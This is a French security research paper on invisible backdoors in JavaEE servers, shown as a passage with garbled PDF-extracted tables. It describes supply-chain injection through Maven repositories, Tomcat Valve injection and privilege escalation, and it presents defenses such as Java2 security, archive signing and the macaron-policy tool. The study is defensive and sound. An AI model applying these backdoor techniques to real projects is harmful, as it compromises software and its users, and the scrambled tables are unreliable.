Le code est a nouveau audite pour essaye de decouvrir drsquoou vient le probleme Lessources et les archives ne revelent rien Il faut decompiler tout le code pour decouvrirla porte derobee Mais drsquoou vient-elle Ce nrsquoest pas dans les sources ni dans lescomposants Kevin M recupere le tout et recompile sur un poste isole La porte nrsquoestpas presente dans le WAR final Etrange Finalement il refait un build depuis laplate-forme de qualification et decouvre que la porte derobee est automatiquementinjectee Il recherche une faille sur cette plate-forme sans resultat Il redeploie laplate-forme avec les fichiers sources originaux meme resultat la porte est present Ilutilise un autre serveur vierge du meme sous-reseau recupere les sources et recompileLa porte est toujours presente
De guerre lasse il utilise a nouveau macaron-audit mais cette fois sur toute laplate-forme et non uniquement sur le WAR produit Il decouvre alors un serviceetrange dans Junit archive negligee lors de la verification des hashs car elle nrsquoest paspresente en production Remontant alors la piste il decouvre que la version de Junitdans le repository a ete deposee par Adrian L lrsquoadministrateur il y a plusieurs moisCe dernier homme de confiance soupconne qursquoil ait ete victime drsquoun virus ou drsquouncheval de Troie mais ignore comment cela a pu se produire Un audit de son postene revele rien drsquoanormal
P Prados 447
Pour corriger le probleme Kevin M decide de restituer lrsquoarchive originale deJunit et de renforcer la securite du referentiel Maven de lrsquoentreprise Une signaturenumerique est ajoutee a chaque archive La procedure de qualification est renforceeUn macaron-audit sera dorenavant entrepris sur tout le projet Les compilations serontdorenavant toujours effectuees avec le parametre -proc none Kevin M est incapabledrsquoidentifier le pirate Il sait simplement qursquoil a du etre present dans lrsquoentreprise etdoit certainement connaıtre le projet
Ce scenario fonctionne avec les Servlet 30 et un JDK6+ Crsquoest a dire que plus lestechnologies progressent plus il est facile drsquoinjecter une porte derobee
8 Conclusion
Nous avons demontre qursquoil est possible en utilisant differentes techniques de piegesdrsquoinjections de code ou drsquoexploitations de privileges drsquoajouter une porte derobeeinvisible dans un projet JavaEE Nous avons identifie les strategies drsquoattaques etpropose des solutions pour reduire les risques Trois utilitaires permettent drsquoeffectuerun audit du code de le renforcer et drsquoextraire les rares privileges a accorder
httpmacarongooglecodecom
Dans lrsquoideal il faut faire evoluer la culture Java pour que les projets utilisent lescellement de tous leurs packages et travaillent systematiquement avec la securiteJava2 lors des phases de developpement
A ce jour le seul moyen drsquointerdire toutes les attaques identifiees est ndash drsquoutiliser la securite Java2ndash de sceller toutes les archives ndash drsquoutiliser les patchs pour ResourceBundle et ServiceLoader ndash de compiler avec le parametre -procnone
ndash et de ne pas utiliser lrsquoAOPLa signature des archives et lrsquoaudit humain est egalement un moyen de proteger
les referentiels Java offre des solutions de signature mais elles sont peu utiliseesPour une plus grande securite il faut les exploiter
P Prados 419
La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques
Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites
La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication
Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production
4 Propagation
Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne
Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource
Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine
Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier
Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement
En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle
7 httpmavenapacheorg
420 Porte derobee dans les serveurs drsquoapplications JavaEE
dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole
Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela
Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut
ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en
attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee
ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1
Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet
Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace
Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9
La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable
5 Les solutions
Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif
Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications
8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security
10 httpantapacheorgivy
P Prados 421
hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)
Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet
grant codeBase file$catalinabase webappsMonProjetWEB -INFlib
permission javalangRuntimePermission
createClassLoader
Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges
Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees
Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques
En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre
grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar
permission javalangRuntimePermission
createClassLoader
Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire
422 Porte derobee dans les serveurs drsquoapplications JavaEE
Le
table
ausu
ivan
tid
enti
fie
les
diff
eren
tspie
ges
pre
sents
dan
slrsquoar
chiv
ede
dem
onst
rati
on
Pie
ges
Locali
sati
on
Desc
rip
tion
s
Res
ou
rces
Bu
nd
les
Exceptionsclass
formatclass
i18nclass
LocalStringsclass
messageclass
messagesclass
viewsclass
windowsclass
javaxservletLocalStringsclass
orgapachecatalinastoreconfigLocalStringsclass
orgapachexercesimplmsgDOMMessagesclass
orgapachexmlresXMLErrorResourcesclass
orghibernatevalidatorresourcesDefaultValidatorMessagesclass
Pu
blica
tion
de
class
esp
ou
rsi
mu
ler
un
fich
ier
properties
Ser
vic
essp
ecifi
cati
on
sJA
RMETA
INFservicesjavaxxmlparsersDocumentBuilderFactory
META
INFservicesjavaxxmlparsersSAXParserFactory
Pu
blica
tion
de
lrsquoim
ple
men
tati
on
de
nou
vea
ux
serv
ices
pu
isd
eleg
ati
on
du
trait
emen
ta
lrsquoim
ple
men
tati
on
stan
-d
ard
Pro
gra
mm
ati
on
par
asp
ect
META
INFaopxml
Dec
lara
tion
gen
eriq
ue
de
regle
sd
rsquoin
ject
ion
s
Le
tab
leau
suiv
ant
ind
iqu
ele
sd
iffer
ente
ste
chn
iqu
esdrsquoi
nje
ctio
ns
dan
sle
flu
xd
etr
ait
emen
td
esre
qu
etes
HT
TP
etle
sp
rivil
eges
nec
essa
ires
P Prados 423In
jecti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Pro
tect
ion
de
lap
ort
ed
erobee
contr
ela
de-
com
pilati
on
javautilPropertyPermission
macaron-backdoorread
javalangRuntimePermission
createClassLoader
javalangRuntimePermission
getProtectionDomain
Pou
rev
iter
lad
e-co
mp
ilati
on
le
cod
ees
tp
rote
ge
Ce
pri
vil
ege
nrsquoe
stp
as
nec
essa
ire
enco
nd
itio
nn
orm
ale
etp
eut
etre
ign
ore
lors
des
test
sIl
nrsquoe
stp
as
dis
crim
inant
pou
rdem
ontr
erqu
rsquoun
eatt
aqu
en
ep
eut
avoir
lieu
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
La
port
ed
erobee
con
stru
itu
ne
Valv
eet
lrsquoin
-je
cte
dan
sT
om
cat
alrsquoaid
ed
rsquoun
ere
qu
ete
Mb
ean
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
5x
siltContext
privileged=truegt
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Si
lep
rivil
ege
est
dis
pon
ible
dan
scontextxml
etu
tilisa
tion
de
Tom
cat
5x
Inje
ctio
nd
eV
alv
ed
an
sT
om
cat
6x
javalangRuntimePermission
defineClassInPackageorgapachecatalinavalves
javalangRuntimePermission
defineClassInPackageorgapachecatalina
javalangRuntimePermission
defineClassInPackageorgapachecatalinaconnector
Si
uti
lisa
tion
de
Tom
cat
6x
Inje
ctio
nd
eV
alv
ed
an
sJB
oss
avec
Tom
cat
5x
siltContext
privileged=truegt
javaxmanagementMBeanServerPermission
findMBeanServer
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanaddValve
queryNamesinvokeregisterMBean
javaxmanagementMBeanPermission
orgapachetomcatutilmodelerBaseModelMBeanremoveValve
invoke
(Optionel)
javalangRuntimePermission
getClassLoader
javalangRuntimePermission
accessClassInPackageorgapachecatalina
javalangRuntimePermission
accessClassInPackageorgapachecatalinavalves
javalangRuntimePermission
accessClassInPackageorgapachecatalinaconnector
javalangRuntimePermission
accessClassInPackageorgapachetomcatutilhttp
Sile
pri
vil
ege
est
dis
pon
ible
dan
scontextxml
lap
ort
ed
erob
eeco
nst
ruit
un
eV
alv
eet
lrsquoin
ject
ed
an
sJB
oss
alrsquoaid
ed
rsquoun
ere
quet
eM
bea
n
424 Porte derobee dans les serveurs drsquoapplications JavaEE
Inje
cti
on
Priv
ileges
necess
air
es
Desc
rip
tion
s
Au
gm
enta
tion
de
pri
vil
eges
sou
sT
om
cat
javaioFilePermission
$catalinahomelibwrite
javaioFilePermission
$catalinahomelibread
(Optional)
javautilPropertyPermission
catalinahomeread(Optional)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Au
gm
enta
tion
de
pri
vil
eges
sou
sJB
oss
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerwrite
javaioFilePermission
$jbosshomedirserverdefaultdeployjboss-webdeployerread
(Optionel)
Dro
iten
ecri
ture
sur
lere
pert
oir
epar
lrsquoO
Sp
our
lrsquouti
lisa
teur
pro
pri
eta
ire
du
serv
eur
drsquoa
pplicati
on
Cet
teatt
aqu
eco
nsi
ste
are
cop
ier
lrsquoarc
hiv
ed
ela
port
ed
erob
eed
an
su
nau
tre
rep
erto
ire
du
serv
eur
drsquoa
pp
lica
tion
A
insi
au
pro
chain
dem
arr
age
de
ced
ern
ier
leco
de
ben
efici
ed
ep
lus
de
pri
vil
eges
Inje
ctio
nd
efi
ltre
JavaE
Ed
an
swebxml
sou
sT
om
cat
javaioFilePermission
$catalinabasewebapps$warWEB
INFwebxml
write
Cet
teatt
aqu
eco
nsi
ste
ain
ject
eru
nfi
ltre
JE
Ed
an
sla
ver
sion
enca
che
de
Tom
cat
du
fich
ier
webxmlA
up
roch
ain
red
emarr
age
lefi
ltre
est
act
if
Inje
ctio
nS
pri
ng
Au
cun
Inje
ctio
nd
eltbeangt
dan
sle
sfi
chie
rsd
ep
ara
met
rage
de
Sp
rin
gp
ou
rca
ptu
rer
tou
sle
sre
qu
etes
au
fram
ework
MV
C
Pro
gra
mm
ati
on
par
asp
ect
Au
cun
Inje
ctio
nd
etr
ait
emen
tp
ou
rle
sse
rvle
tset
JS
P
Vou
sp
ou
vez
con
state
rqu
ed
eux
att
aqu
esn
en
eces
site
nt
au
cun
pri
vil
ege
Le
tab
leau
suiv
ant
rep
ren
dle
sp
rivil
eges
nec
essa
ires
au
xd
iffer
ents
agen
tsp
rop
ose
sC
esp
rivileg
esn
eso
nt
pas
nec
essa
ires
au
ne
att
aqu
eci
ble
e
P Prados 425A
gents
Priv
ileges
min
imu
ms
necess
air
es
Desc
rip
tion
s
Agen
tH
isto
riqu
eA
ucu
np
rivil
ege
part
icu
lier
A
gen
tm
emori
sant
les
der
nie
res
requ
etes
HT
TP
Agen
tJN
DI
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tm
an
ipu
lant
lrsquoan
nu
air
eJN
DI
Agen
tJM
XjavaxmanagementMBeanPermission
getDomainsgetMBeanInfogetAttribute
Agen
tco
nsu
ltant
les
JM
X
Agen
tJD
BC
Au
cun
pri
vil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
de
man
ipu
ler
lab
ase
de
don
nee
s
Agen
tJava
avec
lan
gage
Javasc
rip
tA
ucu
np
rivil
ege
part
icu
lier
A
gen
tp
erm
etta
nt
lrsquoex
ecu
tion
de
cod
eJavasc
rip
t
Agen
tJava
avec
lan
gage
Java
javalangRuntimePermission
createClassLoader
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
Agen
tp
erm
etta
nt
laco
mp
ilati
on
de
cod
eJava
alrsquoaid
ed
rsquoAJP
le
com
pilate
ur
de
JS
P
Exte
nsi
on
agen
tJava
pou
rT
om
cat
javaioFilePermission
$catalinahomecommonlibread
javaioFilePermission
$catalinahomecommonendorsedread
javaioFilePermission
$catalinahomecommonendorsedread
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
du
cod
eso
us
Tom
cat
Exte
nsi
on
agen
tJava
pou
ru
ne
com
pilati
on
via
toolsjar
javautilPropertyPermission
javaiotmpdirread
javautilPropertyPermission
javaclasspathread
javautilPropertyPermission
javaendorseddirsread
javautilPropertyPermission
javaextdirsread
javautilPropertyPermission
sunbootclasspathread
javaioFilePermission
$javahomeclassesread
javaioFilePermission
$javahomeclasses-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
javaioFilePermission
$javahomelib-read
javaioFilePermission
$javahomelibtoolsjarread
javaioFilePermission
$javaiotmpdirread
javaioFilePermission
$javaiotmpdir-readwritedelete
javaioFilePermission
read
javaioFilePermission
-read
Les
dro
its
sup
ple
men
tair
esp
ou
rco
mp
iler
avec
tools
jar
siA
JP
nrsquoe
stp
as
dis
pon
ible
Agen
tS
hel
l
javaioFilePermission
binbashexecute
javaioFilePermission
WINDOWSSytem32cmdexeexecute
javaioFilePermission
commandcomexecute
Agen
tp
rop
osa
nt
un
shel
l
426 Porte derobee dans les serveurs drsquoapplications JavaEE
Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts
Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela
Tomcat propose un parametre de lancement pour utiliser la securite Java2
$ catalinash run -security
Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer
JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections
51 Utilisation de la securite Java2
Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information
Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante
ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase
Par exemple le fichier suivant indique des privileges pour une archive specifique
grant
permission javautilloggingLoggingPermission
control
permission javautilPropertyPermission
11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml
P Prados 427
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure
Sur le site une video presente egalement un cas drsquoutilisation de cet outil
De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant
$ macaron -policy --output MonComposantpolicy
MonComposantear
Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications
Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy
Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes
Tab 1 Variables de politique de securite
Variable Description
$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant
Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant
428 Porte derobee dans les serveurs drsquoapplications JavaEE
grant
permission javaioFilePermission $webapphomelogread write
Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes
Le fichier de propriete pour Tomcat est le suivant
serverhome=$catalinahome
serverlib=$catalinahome serverlib
webappsbase=file$catalinabase webapps
webappshome=$webappsbase$basename
La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande
$ macaron -policy -P tomcatproperties
-Dbasename=sample
Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication
$ macaron -policy -P tomcatproperties
-Dbasename=$basename
$ export JAVA_OPTS=- Dbasename=sample
$ $TOMCAT_HOMEbincatalinash run -security
Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci
$ macaron -policy --output MonComposantpolicy
-P tomcatproperties MonComposantear
Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)
Privileges separes
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
P Prados 429
ou tous les privileges globalement (parametre --merge )
Privileges globaux
grant
permission javautilloggingLoggingPermission control
permission javaioFilePermission -read write
permission javautilPropertyPermission javaiotmpdirread
permission javaioFilePermission $javaiotmpdir read write delete
Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite
La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple
Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter
Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte
Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation
Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=
ndash httpslocalhost
ndash filedatabasepolicypolicy
ndash policypolicy
Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-
-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise
13 httpmacaron-policygooglecodecom
430 Porte derobee dans les serveurs drsquoapplications JavaEE
Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar
possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme
$ macaron -policy --merge --output securitypolicy
$MACARON_HOMElibpolicy -jar
Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee
$ JAVA_OPT=-Djavasecuritymanager
-Djavasecuritypolicy=securitypolicy
macaron -policy --output -
$MACARON_HOMElibpolicy -jar
Les privileges demandes sont les suivants
grant
permission javautilloggingLoggingPermission control
permission javautilPropertyPermission
javaiotmpdirread
permission javaioFilePermission
ltltALL FILES gtgtread write
permission javaioFilePermission
$javaiotmpdir read write delete
permission javanetSocketPermission
80 connect resolve
permission javanetSocketPermission
443 connect resolve
permission javalangRuntimePermission
getenvPOLICY_DATABASE
Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy
Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante
$ macaron -policy
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy
P Prados 431
Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier
$ export JAVA_OPTS=-Djavasecuritydebug=access failure
$ $CATALINA_HOMEbincatalinash run
-security gtaccesslog 2gtamp1
La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses
Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces
-Djavasecuritydebug=access failure permission=javalangRuntimePermission
Ou bien de ne tracer que les privileges necessaires a un composant particulier
-Djavasecuritydebug =
access failure codebase =
file$TOMCAT_HOMEwebappssample
Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug
macaron -policy --accesslog accesslog
Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege
$ macaron -policy
--accesslog accesslog
--policy $CATALINA_HOMEconfcatalinapolicy
$CATALINA_HOMEwebappsMonComposantwar
Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I
$ macaron -policy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME
--policy $CATALINA_HOMEconfcatalinapolicy
MonComposantwar
432 Porte derobee dans les serveurs drsquoapplications JavaEE
Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution
Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy
Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant
$ export
JAVA_OPTS=-Djavasecuritydebug=access failure
$ while [ true ] do
echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read
macaron -policy
-P tomcatproperties
--policy $CATALINA_HOMEconfcatalinapolicy
--accesslog accesslog
-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar
echo launch tomcat
$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1
done
Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract
en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi
$ macaron -policy
--loglevel info
--extract
--output mypolicydatabase
--policy $CATALINA_HOMEconfcatalinapolicy
Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum
Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires
P Prados 433
a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication
Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations
$ macaron -policy --help
